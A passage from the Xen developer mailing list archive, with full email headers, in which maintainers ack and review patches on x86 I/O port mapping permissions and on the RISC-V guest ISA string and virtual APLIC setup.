 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <65f69026-f284-4cfd-b502-8d8955b412f5@suse.com>
 <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1784704784-1ACDF9EA-3E12EA9D/10/73395122804
X-purgate-type: spam
X-purgate-size: 1966



On 6/30/26 3:54 PM, Jan Beulich wrote:
> Rather than granting permissions when mapping (an operation that DM-s are
> allowed to carry out, while they can't invoke ioport-permission), check
> whether permissions actually were granted when adding a mapping. This then
> also allows relaxing the necessary locking.
> 
> While no longer granting permissions upon mapping is "only" at risk of
> breaking guests, no longer revoking permissions upon unmapping strictly
> requires callers to additionally invoke XEN_DOMCTL_ioport_permission. Or
> else a security issue would arise. In-tree code already does so.
> 
> While there switch to using %pd in the two log messages.
> 
> Fixes: 192c4dabc344 ("domctl and p2m changes for PCI passthru")
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> libxl has libxl__grant_vga_iomem_permission(), but I can't spot any I/O
> port equivalent (nor a revoke counterpart, btw). Everywhere else MMIO and
> I/O ports look to be treated equally.
> 
> Qemu uses both xc_domain_{iomem_permission,memory_mapping}() in
> igd_write_opregion(), but only xc_domain_{memory,ioport}_mapping() in
> xen_pt_region_update() and xen_pt_{,un}register_vga_regions(). Is the IGD
> region special in any way? Clearly this can't work from a stubdom.
> ---
> v3: Further extend ChangeLog entry.
> v2: Avoid double evaluation of "add". Add ChangeLog entry.
> 
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -7,6 +7,11 @@ The format is based on [Keep a Changelog
>   ## [4.23.0 UNRELEASED](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - TBD
>   
>   ### Changed
> + - On x86:
> +   - XEN_DOMCTL_ioport_mapping no longer implicitly grants or revokes
> +     permissions for the port range in question.
> +     XEN_DOMCTL_ioport_permission now needs invoking up front /
> +     afterwards.
>   
>   ### Added
>  
Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 07:26:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 07:26:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368164.1617649 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRL4-0007Uw-Dg; Wed, 22 Jul 2026 07:25:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368164.1617649; Wed, 22 Jul 2026 07:25:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRL4-0007Up-An; Wed, 22 Jul 2026 07:25:58 +0000
Received: by outflank-mailman (input) for mailman id 1368164;
 Wed, 22 Jul 2026 07:25:56 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wmRL2-0007Uj-Es
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 07:25:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmRL1-003MA3-Gj
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 09:25:55 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a607076-e002-0a2a0a5209dd-0a2a4505dbee-32
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:25:55 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a607083-4cb1-0a2a45050019-d155dd29e953-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:25:55 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-47f7027ca11so2530927f8f.3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 00:25:55 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c67339sm3547028f8f.31.2026.07.22.00.25.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 00:25:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784705155; x=1785309955; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Lc3WFYehMRjFDh2jw61gUKjIm9F4rkbF89KNXp20xVw=;
        b=Xdq3oBCDdZFXoe4GyXAqO04jaqWNo4XEP1zkH7txJHFZ+klvGo9WaWbbgokYHe7ESy
         pboqchfIzvMCgLcpGefQ2cltahBAVwn5bGTI/M4y3j64DNIFENe2S9TG3HEQ1G5XTDSz
         P9GXgeT5sFWOXV90W2g4bGTZ4drUY37ozCyta1wahBfXZvyd3h8PVWx49ZpCTBW/368q
         TxtdGrDIrEchYN2gBZ87YU6rtTlyB3RkZbsk0X0w/IO96jkwMuHZF4lA5YWY30XKtGjb
         O7rvFtPbnJgu2dL2lOeXMB+Na5YeAe9KFn2HytLry+yD0BCf3uob75rmODghHStgVQbu
         Vvkg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784705155; x=1785309955;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Lc3WFYehMRjFDh2jw61gUKjIm9F4rkbF89KNXp20xVw=;
        b=Be/eZaj3KiHdKBK4s7PZGU9hteKpNsC1XWuEHi6vDAqucNo9eeqP3BFLUIARgvMs41
         aUN5fvoQcNtp+q58imQUd8/yZHSEOEtYbkauun5w2nsP7erh0MpD/pm76NwgD7ndTxIi
         1NLLCNEIEcF2zq4AUZfvXF6/CBFjBj0VtbzbOR51Ud/z3iG1soF3NGNQUYWZ+8mHb7AF
         A371iklvFCneMmaH4+xvQa4/bbSlGBo4QO7qEMAEAdXUwo+9iAW6hcIzmqPofgmbtb7O
         t5oE7gIaBQuVguEDMQTb7upBQotgUgM2CsvIDH6/2N5kJivSQKdLDNDQwmF+PQTXWhCO
         Nd/w==
X-Forwarded-Encrypted: i=1; AHgh+RqvMkF+hONO7f2vo1wy+mPJ4+Ea89Em0Ot7uPkCGuN0std0sCSOxY+ss3U3k57OwKhGIO2ZfmoIv/0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzczpS08/p49jj5ff7VZWHKQdJFdcepduJomeRmyVXNuKAjNZ4W
	uRsDu3s3c37j/LRWg16i7YFoy/kkBojCrfrpVvNfwRgpLDM2ftDT/+go1ljwR59/+A==
X-Gm-Gg: AR+sD13iq3Jhbtp4sTf24ZLBPOEwhogcUs6BCYcJ2QIJ2tij4DEfol+vie2O/8hNCbM
	/WvR8qL9BGMnm1l8CcToPgu71t4qySRbV8ftYsIOgqEPuj8lU3uk5ZO12M8Tbs7EdIdkld32K6r
	k2nzrpgaPGD5byR3cNVA/RgwsU6WYm3Q9sDcKTFp5iMXdGcGD9QZZA0/nBCJEf/xlrKAX0uO/Nk
	S0m1cXhAhkMbnmlSiY8lz6fyDiNg/WvvWoh+5OY1kSQMGEd9mOIDclpFvZIa+v0zyLons5RAZMF
	WyLmPfzccjv1nwJoTS0CRBwg/+xNVT9VZdsTSA89TGc9qinetXRHYI3GgDutaMgmJ8FyrYlNxXc
	BmbK5oFx4v3WGnVpXG4zbxdv2HkNwLY3dHi/wKPgrpwAM51cIA35P6+M1LMJyMrvW6nYlLDglKs
	YTXv5jGShq8mwd1EvrRdqPeAsZ6wiqu4Nmz4X42YMg1M+lYnAuCAAm6TXUKgQc8VjsJw==
X-Received: by 2002:a05:6000:2208:b0:47f:7736:5485 with SMTP id ffacd0b85a97d-47f7736551dmr16258443f8f.16.1784705154932;
        Wed, 22 Jul 2026 00:25:54 -0700 (PDT)
Message-ID: <d329d1c0-59b1-4aa8-b72d-5aad3e310f07@suse.com>
Date: Wed, 22 Jul 2026 09:25:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 06/23] xen/riscv: introduce guest riscv,isa string
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <9f5d1005611daa4ba9e4324950fcfe10adbebc32.1784559209.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <9f5d1005611daa4ba9e4324950fcfe10adbebc32.1784559209.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784705155-F5CA82A1-A858D65B/10/73395122804
X-purgate-type: spam
X-purgate-size: 2751

On 20.07.2026 17:59, Oleksii Kurochko wrote:
> Introduce build_guest_isa_str() to generate the riscv,isa string to be
> passed to the guest via the Device Tree riscv,isa property.
> 
> Introduce the per-domain guest ISA bitmap, populated during domain
> creation by calling init_guest_isa().
> 
> Introduce struct riscv_isa_ext_entry with a new guest_supported field
> to filter out ISA extensions that should not be exposed to guests:
> 
> - f/d/q/v: FPU and vector context save/restore are not yet implemented
>   for guests.
> - Z*inx are not exposed either: they aren't in riscv_isa_ext[], so they
>   can never be set in riscv_isa and thus never reach a guest, and no
>   current hardware/guest-OS advertises or expects them. Supporting them
>   would be cheaper than F/D/Q (FP values stay in integer registers Xen
>   already context-switches), but is left as future work.
> - h: Nested virtualisation is not supported.
> - sstc: Xen owns the supervisor timer; guests must use SBI.
> - svade: Xen manages hardware A/D bit updates in stage-2 page tables.
> - svpbmt: Page-based memory types are not yet wired up in stage-2 code.
> 
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

In principle
Acked-by: Jan Beulich <jbeulich@suse.com>

But see below.

> ---
> Changes in v6:
> - build_guest_isa_str() now takes a `const struct domain *d` instead of a
>   raw `const unsigned long *isa_bitmap`, to leave room for using more than
>   just the bitmap in the future.
> - Compute the guest-visible ISA bitmap once at boot, into a new
>   __ro_after_init `guest_isa` bitmap (compute_guest_isa(), called at the
>   end of riscv_fill_hwcap()), instead of re-deriving it from
>   riscv_isa_ext[] on every domain creation in init_guest_isa(). All guests
>   currently get the same extension set, so this avoids repeating
>   identical work per domain; will need revisiting if/when per-domain ISA
>   policy is introduced.
> - struct arch_domain's `isa` field is now `const unsigned long *isa`
>   instead of an embedded bitmap; init_guest_isa() just points it at the
>   shared `guest_isa` bitmap rather than copying bits into a per-domain
>   array.
> - Mark riscv_isa_ext[] __initconstrel, since its entries hold name pointers
>   and the need for relocations requires that the compiler emit the data to
>   a writable section.
> - Make build_guest_isa_str() __init as it is called during make_cpus_node()
>   which is used only (at least, for now) in build time of domain.

This last item is confusing. For one as there's no call site being added here
in the first place. And then - why would the string need re-calculating when
the bitmap is calculated once at start of day?

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 07:40:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 07:40:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368173.1617658 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRYw-0002z1-HW; Wed, 22 Jul 2026 07:40:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368173.1617658; Wed, 22 Jul 2026 07:40:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRYw-0002yu-Er; Wed, 22 Jul 2026 07:40:18 +0000
Received: by outflank-mailman (input) for mailman id 1368173;
 Wed, 22 Jul 2026 07:40:16 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wmRYu-0002yo-HE
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 07:40:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmRYt-00HEQX-U1
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 09:40:15 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6073db-e002-0a2a0a5209dd-0a2a4508c810-36
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:40:15 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6073df-f659-0a2a45080019-d155dd31c521-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:40:15 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-47640541585so6384784f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 00:40:15 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f864305f5sm2910463f8f.17.2026.07.22.00.40.14
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 00:40:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784706015; x=1785310815; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=MlPIhISv92VaZdn74ygYSngw8iSSKtskrahdd9BcbXE=;
        b=QWQJxmqEL3qorpmOHtnyq0Q2DDtq/SL5ZiLQfkkMiDCypcp6RBATB+YG3z3itUq1GD
         VqVQ0SQrYGVNPE6lEGMP+1SjCrPSrD6YfCTH5KeRJP5tuxgqkyobOBfQxmGwXVcbJahf
         bwVtGt++VP1p11hN1OWbEciJqiRJhSyGlplJZrMcLv1KWhS2wtRU3T8opUlXjMjDzyZs
         UT2rk7Ze8rdHb9yRAlK/nPVuf7lf5VXALgU0jwW0rz9XugBYaTaH0vYJE8cRFJYm4m6Z
         nPPlv/bveQRWMF0KB+WIbxUfPCQyBVLE8cbHbyZIWLdaop2xi5lQnwqx9Ax3h0Bxdqbr
         sV8Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784706015; x=1785310815;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=MlPIhISv92VaZdn74ygYSngw8iSSKtskrahdd9BcbXE=;
        b=D9Fe7IBG1nkf9Ze/RTl923UqUquNGvJWxlB/VHsFaeHvnC0XWx/T/d6cPiwQOABbFJ
         8i3en4sVqhbaXY2SDWaifY+6ykGBXJQdxpDQZFcSIYhWarsoRqqgHYGUTvszJ9OeY9Sf
         39TK6bHTim/pStGa25CLybeN3N4f9SWF9KFq2ZdeQoaj8qWGywnJtYi4ZaYhxrHIMvOd
         orInIGAIjkBwSp2mx60mGLcYg0SDCFitdbn8DzbpytNG/MaGADmly/qcPQ/DuxQ5eP0j
         OWD917XzwsGWSzZTRc0QW6pYkhVoZsfwnBaOiNWl2caGWa/UFQcPsoD/hNHGJHPVMSXu
         AjRg==
X-Forwarded-Encrypted: i=1; AHgh+RrjECft9Z2+Z9ez/apJGQeMlik0fnfp9Xu4DxMsuiBrx34kjncGWcwmJDspODKV39p8MzDFq7TcO3M=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxSlXdRIdQVOPJVLRYMaw5AQzO1MkfvBkNV+nkAlcX3xZY8rtDg
	lBBjnz9n6pWlfg5A2NviStDGNVVjefnMx5FWwvkknBBdEODpTrD4pOUuoWq1DFI/NA==
X-Gm-Gg: AR+sD13C1cUHUObCFjgI8MtKckWwc49Yh2TNvvux/zmHY0DRyLuHrH5FPOiX3dxUjBN
	90Ntx42xj4MFOEaqHtm7GKQVb5ZgA2NRdviHMjyJ3cYuURIVqT8PCaZ8QjDGyeVzz+ci3Jz0jfE
	oGW88QGTLp2DZTAAqJ9yHLArrRpqEj5Nk0Pz1dnvOaUsFrC+nXo8a0fVUBzKFyJpGML4Bzv2IHV
	Ond14DmBG3+Uj0b3/ueGlrwg/NGr6EgODrXbgsyX04wcIcqEZFSZ1VDS4wSKAlVqV5RaeN9bhp9
	JIRSkRw7CSr4kIxGQcpEXbN3P9YqfvppMDwIZZ4PpaTAKf6asp+tJGfCamBbIMRsC98P2uRTKYR
	pUE37hatv4ln1qIB/qRE283CaYWCT+nrQCP3EopVAcrYF+SuI82YqUaNjsqShEQOywvApjIoRdQ
	Q/6yqJef89CQNja+RWvVWRtGuZslZRvmte/t22Es8FdLSnSeSRK1Q5DvD5qZgi+FMA7A==
X-Received: by 2002:a05:6000:4914:b0:47f:6e23:64d6 with SMTP id ffacd0b85a97d-47f6e2366f5mr18025576f8f.16.1784706015071;
        Wed, 22 Jul 2026 00:40:15 -0700 (PDT)
Message-ID: <e5ac074d-c824-4fe4-a1d4-ba986236fbb1@suse.com>
Date: Wed, 22 Jul 2026 09:40:13 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 14/23] xen/riscv: introduce minimal virtual APLIC
 (vAPLIC) infrastructure
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <98bcad12ca4e5ee270cc1ef9db09d89a32f863f8.1784559209.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <98bcad12ca4e5ee270cc1ef9db09d89a32f863f8.1784559209.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1784706015-D634587B-D0896945/10/73395122804
X-purgate-type: spam
X-purgate-size: 2575

On 20.07.2026 17:59, Oleksii Kurochko wrote:
> At the current development stage, only domain vINTC init and deinit
> operations are required, so implement those first.
> 
> Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
> MSI delivery mode selected as the current solution is exepcted to have
> always IMSIC, and initialize vintc->ops.
> 
> Other operations such as emulate_load(), emulate_store(), and is_access()
> will be needed once guests are running and MMIO accesses to APLIC MMIO
> range must be handled. These will be introduced separately later.
> 
> Introduce a structure to describe a virtual interrupt controller (vINTC)
> and a vintc_ops structure, which provides operations to emulate load and
> store accesses to interrupt controller MMIOs and to check whether a given
> address falls within the MMIO range of a specific virtual interrupt
> controller.
> Note that already existed init_ops field in struct vintc will be init-ed
> for APLIC in the follow up patch.
> 
> The vAPLIC implementation of these operations will be provided later
> once guests can be run and these operations are actually needed.
> 
> Introduce these structures here as they are required for the implementation
> of domain_vaplic_init() and domain_vaplic_alloc(). Also, introduce
> vaplic_init() and init vintc_ops->vcpu_init() with it.
> 
> Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Acked-by: Jan Beulich <jbeulich@suse.com>
albeit I (continue to) think that ...

> --- a/xen/arch/riscv/include/asm/intc.h
> +++ b/xen/arch/riscv/include/asm/intc.h
